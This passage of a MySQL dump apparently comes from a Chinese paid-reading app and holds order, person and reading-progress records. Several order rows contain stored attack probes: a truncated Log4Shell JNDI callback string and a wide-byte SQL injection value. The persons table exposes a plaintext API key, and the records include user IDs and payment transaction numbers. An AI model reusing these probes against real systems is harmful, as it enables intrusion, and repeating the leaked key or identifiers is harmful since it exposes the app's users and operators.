'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:rmi://hostname-${hostName}.username-${sys:u', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.305', '2026-03-05 04:31:10.305', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110260938', 'MP20260305123110260938', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.929', '2026-03-05 04:31:10.929', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110627939', 'MP20260305123110627939', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://hostname-${hostName}.username-${sys:u', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.246', '2026-03-05 04:31:10.246', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111152650', 'MP20260305123111152650', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'aaaa\'%bf%27', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.269', '2026-03-05 04:31:11.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111471678', 'MP20260305123111471678', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'aaaa\'%bf%27', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.857', '2026-03-05 04:31:11.857', NULL); -INSERT INTO `orders` VALUES ('MP20260305123111861414', 'MP20260305123111861414', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:11.583', '2026-03-05 04:31:11.583', NULL); -INSERT INTO `orders` VALUES ('MP20260305123112234943', 'MP20260305123112234943', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:12.455', '2026-03-05 04:31:12.455', NULL); -INSERT INTO `orders` VALUES ('MP20260305123112977159', 'MP20260305123112977159', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'aaaa\'%bf%27', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:12.726', '2026-03-05 04:31:12.726', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113040024', 'MP20260305123113040024', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, 'aaaa\'%bf%27', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.349', '2026-03-05 04:31:13.349', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113160108', 'MP20260305123113160108', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.037', '2026-03-05 04:31:13.037', NULL); -INSERT INTO `orders` VALUES ('MP20260305123113549177', 'MP20260305123113549177', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:13.958', '2026-03-05 04:31:13.958', NULL); -INSERT INTO `orders` VALUES ('MP20260305142300758656', 'MP20260305142300758656', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:23:00.348', '2026-03-05 06:23:00.348', NULL); -INSERT INTO `orders` VALUES ('MP20260305142527612975', 'MP20260305142527612975', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:25:27.523', '2026-03-05 06:25:27.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305142941918000', 'MP20260305142941918000', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:41.718', '2026-03-05 06:29:41.718', NULL); -INSERT INTO `orders` VALUES ('MP20260305142942119166', 'MP20260305142942119166', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'ogpTW5XM49OevG_BfdaPS2ExGOLs', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:42.959', '2026-03-05 06:29:42.959', NULL); -INSERT INTO `orders` VALUES ('MP20260305142950496170', 'MP20260305142950496170', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:29:50.140', '2026-03-05 06:29:50.140', NULL); -INSERT INTO `orders` VALUES ('MP20260305143013400734', 'MP20260305143013400734', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:30:13.100', '2026-03-05 06:30:13.100', NULL); -INSERT INTO `orders` VALUES ('MP20260305143015963950', 'MP20260305143015963950', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 06:30:15.835', '2026-03-05 06:30:15.835', NULL); -INSERT INTO `orders` VALUES ('MP20260305143845470449', 'MP20260305143845470449', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.4', 1.00, '章节1.4-1.4', 'paid', '4200003096202603053391831245', '2026-03-05 12:05:40.286', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 06:38:45.752', '2026-03-05 12:05:40.290', 'ces '); -INSERT INTO `orders` VALUES ('MP20260305144001501755', 'MP20260305144001501755', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'paid', '4200003080202603053326866109', '2026-03-05 12:05:40.029', '', NULL, '2026-03-05 06:40:01.508', '2026-03-05 12:05:40.035', '测试'); -INSERT INTO `orders` VALUES ('MP20260305160412776209', 'MP20260305160412776209', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 08:04:12.592', '2026-03-05 08:04:12.592', NULL); -INSERT INTO `orders` VALUES ('MP20260305173857302854', 'MP20260305173857302854', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.3', 1.00, '章节1.3-1.3', 'refunded', '4200003056202603051521371441', '2026-03-05 09:39:02.956', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 09:38:57.329', '2026-03-05 09:53:16.842', NULL); -INSERT INTO `orders` VALUES ('MP20260306123905719351', 'MP20260306123905719351', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.1', 1.00, '章节1.1-荷包:电动车出租的被动收入模式', 'paid', '4200003059202603063534557893', '2026-03-06 04:39:13.469', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-06 04:39:05.598', '2026-03-06 04:39:13.473', NULL); -INSERT INTO `orders` VALUES ('MP20260306124440714553', 'MP20260306124440714553', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '9.26', 1.00, '章节9.26-第114场|人跟人差别,以前没 AI 差...', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-06 04:44:40.419', '2026-03-06 04:44:40.419', NULL); -INSERT INTO `orders` VALUES ('MP20260307092935707893', 'MP20260307092935707893', 'ogpTW5WgyfQ58To207mh7YNjtGW0', 'ogpTW5WgyfQ58To207mh7YNjtGW0', 'section', '1.1', 1.00, '章节1.1-荷包:电动车出租的被动收入模式', 'created', NULL, NULL, '', NULL, '2026-03-07 01:29:35.977', '2026-03-07 01:29:35.977', NULL); -INSERT INTO `orders` VALUES ('MP20260307094042189287', 'MP20260307094042189287', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'section', '9.26', 1.00, '章节9.26-第114场|有 AI 差 1 万倍', 'paid', '4200002997202603076765138894', '2026-03-07 01:40:50.116', '', NULL, '2026-03-07 01:40:42.529', '2026-03-07 01:40:50.121', NULL); -INSERT INTO `orders` VALUES ('MP20260307212038744210', 'MP20260307212038744210', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '6.2', 1.00, '章节6.2-供应链金融:我不懂的杠杆游戏', 'paid', '4200003051202603073956434261', '2026-03-07 13:20:44.244', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-07 13:20:38.035', '2026-03-07 13:20:44.250', NULL); -INSERT INTO `orders` VALUES ('MP20260308001233343696', 'MP20260308001233343696', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'match', 'match_1', 1.00, '匹配次数x1', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-07 16:12:33.123', '2026-03-07 16:12:33.123', NULL); -INSERT INTO `orders` VALUES ('MP20260309091832941702', 'MP20260309091832941702', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', 'section', '10.01', 1.00, '章节10.01-第102场|今年第一个红包你发给谁', 'created', NULL, NULL, '', NULL, '2026-03-09 01:18:32.408', '2026-03-09 01:18:32.408', NULL); -INSERT INTO `orders` VALUES ('MP20260309104414306664', 'MP20260309104414306664', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.13', 1.00, '章节10.13-第116场|钱是大风刮来的,如何才能接住', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-09 02:44:14.632', '2026-03-09 02:44:14.632', NULL); -INSERT INTO `orders` VALUES ('MP20260309160755748522', 'MP20260309160755748522', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'section', '10.01', 1.00, '章节10.01-第102场|今年第一个红包你发给谁', 'paid', '4200003087202603094493123059', '2026-03-09 08:08:02.265', '', NULL, '2026-03-09 08:07:55.889', '2026-03-09 08:08:02.269', NULL); -INSERT INTO `orders` VALUES ('MP20260309174649961512', 'MP20260309174649961512', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '1.3', 1.00, '章节1.3-笑声背后的MBTI:为什么ENTJ适合做...', 'created', NULL, NULL, '', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-09 09:46:49.836', '2026-03-09 09:46:49.836', NULL); -INSERT INTO `orders` VALUES ('MP20260310133400806895', 'MP20260310133400806895', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'section', '10.16', 1.00, '章节10.16-10.16', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 05:34:00.708', '2026-03-10 05:34:00.708', NULL); -INSERT INTO `orders` VALUES ('MP20260310142303156472', 'MP20260310142303156472', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.15', 1.00, '章节10.15-第118场|运气是选出来的,不是等出来的', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 06:23:03.615', '2026-03-10 06:23:03.615', NULL); -INSERT INTO `orders` VALUES ('MP20260310142346778215', 'MP20260310142346778215', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.11', 1.00, '章节10.11-第114场|人跟人差别,以前没 AI 差...', 'paid', '4200003005202603102038656016', '2026-03-10 06:23:51.550', 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 06:23:46.418', '2026-03-10 06:23:51.553', NULL); -INSERT INTO `orders` VALUES ('MP20260310145101629290', 'MP20260310145101629290', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '10.11', 1.00, '章节10.11-第114场|人跟人差别,以前没 AI 差...', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-10 06:51:01.514', '2026-03-10 06:51:01.514', NULL); -INSERT INTO `orders` VALUES ('MP20260310184055793606', 'MP20260310184055793606', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:40:55.280', '2026-03-10 10:40:55.280', NULL); -INSERT INTO `orders` VALUES ('MP20260310184058328542', 'MP20260310184058328542', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:40:58.244', '2026-03-10 10:40:58.244', NULL); -INSERT INTO `orders` VALUES ('MP20260310184132415482', 'MP20260310184132415482', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:41:32.873', '2026-03-10 10:41:32.873', NULL); -INSERT INTO `orders` VALUES ('MP20260310184133375637', 'MP20260310184133375637', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:41:33.578', '2026-03-10 10:41:33.578', NULL); -INSERT INTO `orders` VALUES ('MP20260310184253194124', 'MP20260310184253194124', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:42:53.349', '2026-03-10 10:42:53.349', NULL); -INSERT INTO `orders` VALUES ('MP20260310184255000148', 'MP20260310184255000148', 'ogpTW5etDs6mN-0BQMw49gw56zZM', 'ogpTW5etDs6mN-0BQMw49gw56zZM', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:42:55.402', '2026-03-10 10:42:55.402', NULL); -INSERT INTO `orders` VALUES ('MP20260310184330157264', 'MP20260310184330157264', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:43:30.698', '2026-03-10 10:43:30.698', NULL); -INSERT INTO `orders` VALUES ('MP20260310184331256704', 'MP20260310184331256704', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:43:31.609', '2026-03-10 10:43:31.609', NULL); -INSERT INTO `orders` VALUES ('MP20260310202017131369', 'MP20260310202017131369', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:17.310', '2026-03-10 12:20:17.310', NULL); -INSERT INTO `orders` VALUES ('MP20260310202023122012', 'MP20260310202023122012', 'ogpTW5W-QfijW2viSKf-03yflrS8', 'ogpTW5W-QfijW2viSKf-03yflrS8', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:23.320', '2026-03-10 12:20:23.320', NULL); -INSERT INTO `orders` VALUES ('MP20260310202055031475', 'MP20260310202055031475', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:55.905', '2026-03-10 12:20:55.905', NULL); -INSERT INTO `orders` VALUES ('MP20260310202055919400', 'MP20260310202055919400', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:55.963', '2026-03-10 12:20:55.963', NULL); -INSERT INTO `orders` VALUES ('MP20260311104652341864', 'MP20260311104652341864', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'section', '10.16', 1.00, '章节10.16-第119场|开派对的初心是早上不影响老婆...', 'created', NULL, NULL, 'SOULDKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '2026-03-11 02:46:52.247', '2026-03-11 02:46:52.247', NULL); -INSERT INTO `orders` VALUES ('vip_mlyywn1u2hnzp0', 'VIP177183851896280', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, 'VIP年度会员', 'created', NULL, NULL, NULL, NULL, '2026-02-23 17:21:58.000', '2026-02-23 17:21:58.000', NULL); - --- ---------------------------- --- Table structure for persons --- ---------------------------- -DROP TABLE IF EXISTS `persons`; -CREATE TABLE `persons` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `person_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `label` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `ckb_api_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_persons_person_id`(`person_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of persons --- ---------------------------- -INSERT INTO `persons` VALUES (1, 'karuo', '卡若', '超级个体·作者', '2026-03-08 21:33:17.888', '2026-03-08 21:33:17.888', ''); -INSERT INTO `persons` VALUES (2, 'nanfeng', '南风', '超级个体', '2026-03-08 21:33:19.175', '2026-03-08 21:33:19.175', ''); -INSERT INTO `persons` VALUES (3, 'yuanzhi', '远志', '超级个体', '2026-03-08 21:33:20.271', '2026-03-08 21:33:20.271', ''); -INSERT INTO `persons` VALUES (4, 'laomo', '老墨', '资源整合高手', '2026-03-08 21:33:21.438', '2026-03-08 21:33:21.438', ''); -INSERT INTO `persons` VALUES (5, 'hezhong', '荷总', '自行车行业', '2026-03-08 21:33:22.491', '2026-03-08 21:33:22.491', ''); -INSERT INTO `persons` VALUES (6, 'yongping', '永平', '技术合伙人', '2026-03-08 21:33:23.666', '2026-03-10 10:51:30.987', 'mi5p9-f4gx6-tl4nw-a2qb8-4wgap'); - --- ---------------------------- --- Table structure for reading_progress --- ---------------------------- -DROP TABLE IF EXISTS `reading_progress`; -CREATE TABLE `reading_progress` ( - `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键ID', - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户ID', - `section_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '章节ID', - `progress` int(11) NULL DEFAULT 0 COMMENT '阅读进度 0-100', - `duration` int(11) NULL DEFAULT 0 COMMENT '累计阅读时长(秒)', - `status` enum('reading','completed','abandoned') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'reading' COMMENT '阅读状态', - `completed_at` datetime NULL DEFAULT NULL COMMENT '完成阅读时间', - `first_open_at` datetime NOT NULL COMMENT '首次打开时间', - `last_open_at` datetime NOT NULL COMMENT '最后打开时间', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - `updated_at` datetime NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_user_section`(`user_id`, `section_id`) USING BTREE COMMENT '用户+章节唯一索引', - INDEX `idx_user_status`(`user_id`, `status`) USING BTREE COMMENT '用户状态索引', - INDEX `idx_completed`(`completed_at`) USING BTREE COMMENT '完成时间索引', - INDEX `idx_last_open`(`last_open_at`) USING BTREE COMMENT '最后打开时间索引' -) ENGINE = InnoDB AUTO_INCREMENT = 555 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '用户阅读进度表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of reading_progress --- ---------------------------- -INSERT INTO `reading_progress` VALUES (2, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.2', 0, 15052, 'reading', NULL, '2026-02-04 21:41:50', '2026-03-10 11:15:11', '2026-02-04 21:41:49', '2026-03-10 11:15:11'); -INSERT INTO `reading_progress` VALUES (3, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.3', 0, 44622, 'reading', NULL, '2026-02-04 21:47:05', '2026-03-10 11:15:15', '2026-02-04 21:47:04', '2026-03-10 11:15:15'); -INSERT INTO `reading_progress` VALUES (4, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.1', 0, 100341, 'reading', NULL, '2026-02-05 16:11:20', '2026-03-10 10:56:19', '2026-02-05 16:11:20', '2026-03-10 10:56:19'); -INSERT INTO `reading_progress` VALUES (5, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.4', 0, 6, 'reading', NULL, '2026-02-05 16:13:13', '2026-02-05 16:13:13', '2026-02-05 16:13:12', '2026-02-05 16:13:12'); -INSERT INTO `reading_progress` VALUES (6, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.5', 0, 10, 'reading', NULL, '2026-02-06 10:01:54', '2026-02-11 09:35:40', '2026-02-06 10:01:53', '2026-02-11 09:35:40'); -INSERT INTO `reading_progress` VALUES (7, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.2', 0, 11, 'reading', NULL, '2026-02-06 10:01:59', '2026-02-11 09:49:31', '2026-02-06 10:01:58', '2026-02-11 09:49:31'); -INSERT INTO `reading_progress` VALUES (8, 'ogpTW5enUogenRCFwciHdLMiXgvw', 'preface', 0, 12, 'reading', NULL, '2026-02-09 12:10:05', '2026-02-09 12:10:05', '2026-02-09 12:10:05', '2026-02-09 12:10:05'); -INSERT INTO `reading_progress` VALUES (9, 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'preface', 0, 23, 'reading', NULL, '2026-02-09 12:10:05', '2026-02-10 03:16:49', '2026-02-09 12:10:05', '2026-02-10 03:16:49'); -INSERT INTO `reading_progress` VALUES (10, 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'preface', 0, 12, 'reading', NULL, '2026-02-10 03:16:49', '2026-02-10 03:16:49', '2026-02-10 03:16:49', '2026-02-10 03:16:49'); -INSERT INTO `reading_progress` VALUES (11, 'ogpTW5Wng_gQTBXySc2IUXn1VN-0', 'epilogue', 0, 4, 'reading', NULL, '2026-02-10 23:26:31', '2026-02-10 23:26:31', '2026-02-10 23:26:31', '2026-02-10 23:26:31'); -INSERT INTO `reading_progress` VALUES (12, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', '1.1', 0, 500, 'reading', NULL, '2026-02-11 07:11:59', '2026-03-04 03:39:47', '2026-02-11 07:11:59', '2026-03-04 03:39:47'); -INSERT INTO `reading_progress` VALUES (13, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'epilogue', 0, 2, 'reading', NULL, '2026-02-11 07:12:09', '2026-02-11 07:12:09', '2026-02-11 07:12:09', '2026-02-11 07:12:09'); -INSERT INTO `reading_progress` VALUES (14, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.2', 0, 34298, 'reading', NULL, '2026-02-11 09:21:55', '2026-02-11 10:00:54', '2026-02-11 09:21:55', '2026-02-11 10:00:54'); -INSERT INTO `reading_progress` VALUES (15, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.3', 0, 7, 'reading', NULL, '2026-02-11 09:36:34', '2026-02-11 09:36:34', '2026-02-11 09:36:34', '2026-02-11 09:36:34'); -INSERT INTO `reading_progress` VALUES (16, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '4.1', 0, 11, 'reading', NULL, '2026-02-11 09:38:33', '2026-02-11 09:38:33', '2026-02-11 09:38:33', '2026-02-11 09:38:33'); -INSERT INTO `reading_progress` VALUES (17, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.5', 0, 3, 'reading', NULL, '2026-02-11 09:50:03', '2026-02-11 09:50:03', '2026-02-11 09:50:03', '2026-02-11 09:50:03'); -INSERT INTO `reading_progress` VALUES (18, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.3', 0, 6, 'reading', NULL, '2026-02-11 09:59:10', '2026-02-28 08:09:13', '2026-02-11 09:59:10', '2026-02-28 08:09:13'); -INSERT INTO `reading_progress` VALUES (19, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'preface', 0, 6779, 'reading', NULL, '2026-02-11 10:18:25', '2026-03-10 13:52:14', '2026-02-11 10:18:25', '2026-03-10 13:52:14'); -INSERT INTO `reading_progress` VALUES (20, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'preface', 0, 4, 'reading', NULL, '2026-02-11 10:20:06', '2026-02-11 10:20:06', '2026-02-11 10:20:06', '2026-02-11 10:20:06'); -INSERT INTO `reading_progress` VALUES (21, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.1', 0, 12, 'reading', NULL, '2026-02-11 10:20:10', '2026-03-02 03:59:34', '2026-02-11 10:20:10', '2026-03-02 03:59:34'); -INSERT INTO `reading_progress` VALUES (22, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.2', 0, 5, 'reading', NULL, '2026-02-11 10:20:26', '2026-02-12 02:25:51', '2026-02-11 10:20:26', '2026-02-12 02:25:51'); -INSERT INTO `reading_progress` VALUES (23, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.3', 0, 0, 'reading', NULL, '2026-02-11 12:34:27', '2026-02-11 12:34:27', 